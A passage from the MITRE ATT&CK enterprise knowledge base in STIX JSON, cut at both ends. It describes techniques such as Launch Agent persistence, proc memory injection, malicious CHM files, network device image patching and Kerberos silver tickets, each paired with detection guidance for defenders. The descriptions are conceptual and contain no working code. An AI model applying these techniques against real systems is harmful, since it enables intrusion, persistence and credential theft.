Formats. Retrieved February 19, 2020.","url":"https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html"},{"source_name":"nixCraft - John the Ripper","description":"Vivek Gite. (2014, September 17). Linux Password Cracking: Explain unshadow and john Commands (John the Ripper Tool). Retrieved February 19, 2020.","url":"https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Antonio Piazza, @antman1p"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","created":"2020-01-17T16:10:58.592Z","x_mitre_version":"1.4","external_references":[{"source_name":"mitre-attack","external_id":"T1543.001","url":"https://attack.mitre.org/techniques/T1543/001"},{"source_name":"AppleDocs Launch Agent Daemons","url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html","description":"Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017."},{"source_name":"Sofacy Komplex Trojan","url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."},{"source_name":"OceanLotus for OS X","url":"https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update","description":"Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017."},{"source_name":"OSX Keydnap malware","url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017."},{"source_name":"Methods of Mac Malware Persistence","url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017."},{"source_name":"OSX Malware Detection","url":"https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf","description":"Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017."},{"source_name":"Antiquated Mac Malware","url":"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/","description":"Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017."},{"source_name":"OSX.Dok Malware","url":"https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/","description":"Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) ","modified":"2022-04-21T16:13:00.598Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Launch Agent","x_mitre_detection":"Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nEnsure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["File: File Modification","Service: Service Modification","File: File Creation","Service: Service Creation","Command: Command Execution"],"x_mitre_permissions_required":["Administrator","User"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-20T19:55:40.527Z","name":"System Services","description":"Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for command line invocations of tools capable of modifying services that doesn’t correspond to normal usage patterns and known software, patch cycles, etc. Also monitor for changes to executables and other files associated with services. Changes to Windows services may also be reflected in the Registry.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_version":"1.3","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","Process: Process Creation","Service: Service Creation","File: File Modification","Command: Command Execution"],"x_mitre_remote_support":true,"type":"attack-pattern","id":"attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253","created":"2020-03-10T18:23:06.482Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1569","external_id":"T1569"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:19:56.540Z","name":"Windows Command Shell","description":"Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_deprecated":false,"x_mitre_detection":"Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.4","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation"],"x_mitre_remote_support":true,"type":"attack-pattern","id":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","created":"2020-03-09T14:12:31.196Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1059/003","external_id":"T1059.003"},{"source_name":"SSH in Windows","description":"Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021.","url":"https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591","type":"attack-pattern","created":"2020-01-14T01:34:10.588Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1055.009","url":"https://attack.mitre.org/techniques/T1055/009"},{"url":"http://hick.org/code/skape/papers/needle.txt","description":"skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.","source_name":"Uninformed Needle"},{"source_name":"GDS Linux Injection","url":"https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html","description":"McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020."},{"source_name":"DD Man","url":"http://man7.org/linux/man-pages/man1/dd.1.html","description":"Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020."}],"modified":"2020-06-20T22:25:55.331Z","name":"Proc Memory","description":"Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification"],"x_mitre_defense_bypassed":["Application control","Anti-virus"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a","type":"attack-pattern","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1223","url":"https://attack.mitre.org/techniques/T1223"},{"source_name":"Microsoft HTML Help May 2018","description":"Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.","url":"https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk"},{"source_name":"Microsoft HTML Help ActiveX","description":"Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.","url":"https://msdn.microsoft.com/windows/desktop/ms644670"},{"url":"https://msdn.microsoft.com/windows/desktop/ms524405","description":"Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.","source_name":"Microsoft HTML Help Executable Program"},{"url":"https://msitpros.com/?p=3909","description":"Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM – CVE-2017-8625. Retrieved October 3, 2018.","source_name":"MsitPros CHM Aug 2017"},{"url":"https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625","description":"Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.","source_name":"Microsoft CVE-2017-8625 Aug 2017"}],"modified":"2020-01-31T18:59:00.845Z","name":"Compiled HTML File","description":"Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nAdversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Application whitelisting","Digital Certificate Validation"],"x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"modified":"2023-04-14T20:04:42.893Z","name":"Acquire Access","description":"Adversaries may purchase or otherwise acquire an existing access to a target system or network. A variety of online services and initial access broker networks are available to sell access to previously compromised systems.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)(Citation: Krebs Access Brokers Fortune 500) In some cases, adversary groups may form partnerships to share compromised systems with each other.(Citation: CISA Karakurt 2022)\n\nFootholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., [Web Shell](https://attack.mitre.org/techniques/T1505/003)) or established access via [External Remote Services](https://attack.mitre.org/techniques/T1133). In some cases, access brokers will implant compromised systems with a “load” that can be used to install additional malware for paying customers.(Citation: Microsoft Ransomware as a Service)\n\nBy leveraging existing access broker networks rather than developing or obtaining their own initial access capabilities, an adversary can potentially reduce the resources required to gain a foothold on a target network and focus their efforts on later stages of compromise. Adversaries may prioritize acquiring access to systems that have been determined to lack security monitoring or that have high privileges, or systems that belong to organizations in a particular sector.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)\n\nIn some cases, purchasing access to an organization in sectors such as IT contracting, software development, or telecommunications may allow an adversary to compromise additional victims via a [Trusted Relationship](https://attack.mitre.org/techniques/T1199), [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111), or even [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195).\n\n**Note:** while this technique is distinct from other behaviors such as [Purchase Technical Data](https://attack.mitre.org/techniques/T1597/002) and [Credentials](https://attack.mitre.org/techniques/T1589/001), they may often be used in conjunction (especially where the acquired foothold requires [Valid Accounts](https://attack.mitre.org/techniques/T1078)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_contributors":["Jeremy Kennelly","Jeffrey Barto"],"x_mitre_deprecated":false,"x_mitre_detection":"Much of this takes place outside the visibility of the target organization, making detection difficult for defenders. \n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.0","type":"attack-pattern","id":"attack-pattern--d21bb61f-08ad-4dc1-b001-81ca6cb79954","created":"2023-03-10T15:37:21.782Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1650","external_id":"T1650"},{"source_name":"Krebs Access Brokers Fortune 500","description":"Brian Krebs. (2012, October 22). Service Sells Access to Fortune 500 Firms. Retrieved March 10, 2023.","url":"https://krebsonsecurity.com/2012/10/service-sells-access-to-fortune-500-firms/"},{"source_name":"CrowdStrike Access Brokers","description":"CrowdStrike Intelligence Team. (2022, February 23). Access Brokers: Who Are the Targets, and What Are They Worth?. Retrieved March 10, 2023.","url":"https://www.crowdstrike.com/blog/access-brokers-targets-and-worth/"},{"source_name":"CISA Karakurt 2022","description":"Cybersecurity Infrastructure and Defense Agency. (2022, June 2). Karakurt Data Extortion Group. Retrieved March 10, 2023.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-152a"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f","type":"attack-pattern","created":"2020-10-19T19:49:24.129Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1601.001","url":"https://attack.mitre.org/techniques/T1601/001"},{"source_name":"Killing the myth of Cisco IOS rootkits","url":"https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf","description":"Sebastian 'topo' Muñiz. (2008, May). Killing the myth of Cisco IOS rootkits. Retrieved October 20, 2020."},{"source_name":"Killing IOS diversity myth","url":"https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf","description":"Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August). Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode design. Retrieved October 20, 2020."},{"source_name":"Cisco IOS Shellcode","url":"http://2015.zeronights.org/assets/files/05-Nosenko.pdf","description":"George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved October 21, 2020."},{"source_name":"Cisco IOS Forensics Developments","url":"https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf","description":"Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS Forensics. Retrieved October 21, 2020."},{"source_name":"Juniper Netscreen of the Dead","url":"https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf","description":"Graeme Neilson . (2009, August). Juniper Netscreen of the Dead. Retrieved October 20, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Image File Verification","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#7","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Run-Time Memory Verification","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#13","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."}],"modified":"2020-10-22T17:50:46.560Z","name":"Patch System Image","description":"Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599). Adding new capabilities for the adversary’s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).\n\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \n\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). \n\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27","type":"attack-pattern","created":"2020-02-11T19:14:48.309Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1558.002","url":"https://attack.mitre.org/techniques/T1558/002"},{"source_name":"ADSecurity Silver Tickets","url":"https://adsecurity.org/?p=2011","description":"Sean Metcalf. (2015, November 17). How Attackers Use Kerberos Silver Tickets to Exploit Systems. Retrieved February 27, 2020."},{"url":"https://adsecurity.org/?p=1515","description":"Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.","source_name":"ADSecurity Detecting Forged Tickets"},{"description":"French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.","url":"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea","source_name":"Medium Detecting Attempts to Steal Passwords from Memory"}],"modified":"2020-03-25T21:46:46.831Z","name":"Silver Ticket","description":"Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\n\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation: ADSecurity Detecting Forged Tickets) \n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Logon Session: Logon Session Metadata"],"x_mitre_permissions_required":["User"]},{"modified":"2024-10-28T19:10:16.960Z","name":"Data from Information Repositories","description":"Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, such as Credential Access, Lateral Movement, or Defense Evasion, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization (i.e., [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)). \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)) \n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n* Contact or other sensitive information about business partners and customers, including personally identifiable information (PII) \n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include the following:\n\n* Storage services such as IaaS databases, enterprise databases, and more specialized platforms such as customer relationship management (CRM) databases \n* Collaboration platforms such as SharePoint, Confluence, and code repositories\n* Messaging platforms such as Slack and Microsoft Teams \n\nIn some cases, information repositories have been improperly secured, typically by unintentionally allowing for overly-broad access by all users or even public access to unauthenticated users. This is particularly common with cloud-native or cloud-hosted services, such as AWS Relational Database Service (RDS), Redis, or ElasticSearch.(Citation: Mitiga)(Citation: TrendMicro Exposed Redis 2020)(Citation: Cybernews Reuters Leak 2022)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_contributors":["Regina Elwell","Praetorian","Milos Stojadinovic","Isif Ibrahima, Mandiant","Obsidian Security","Naveen Vijayaraghavan","Nilesh Dherange (Gurucul)"],"x_mitre_deprecated":false,"x_mitre_detection":"As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) 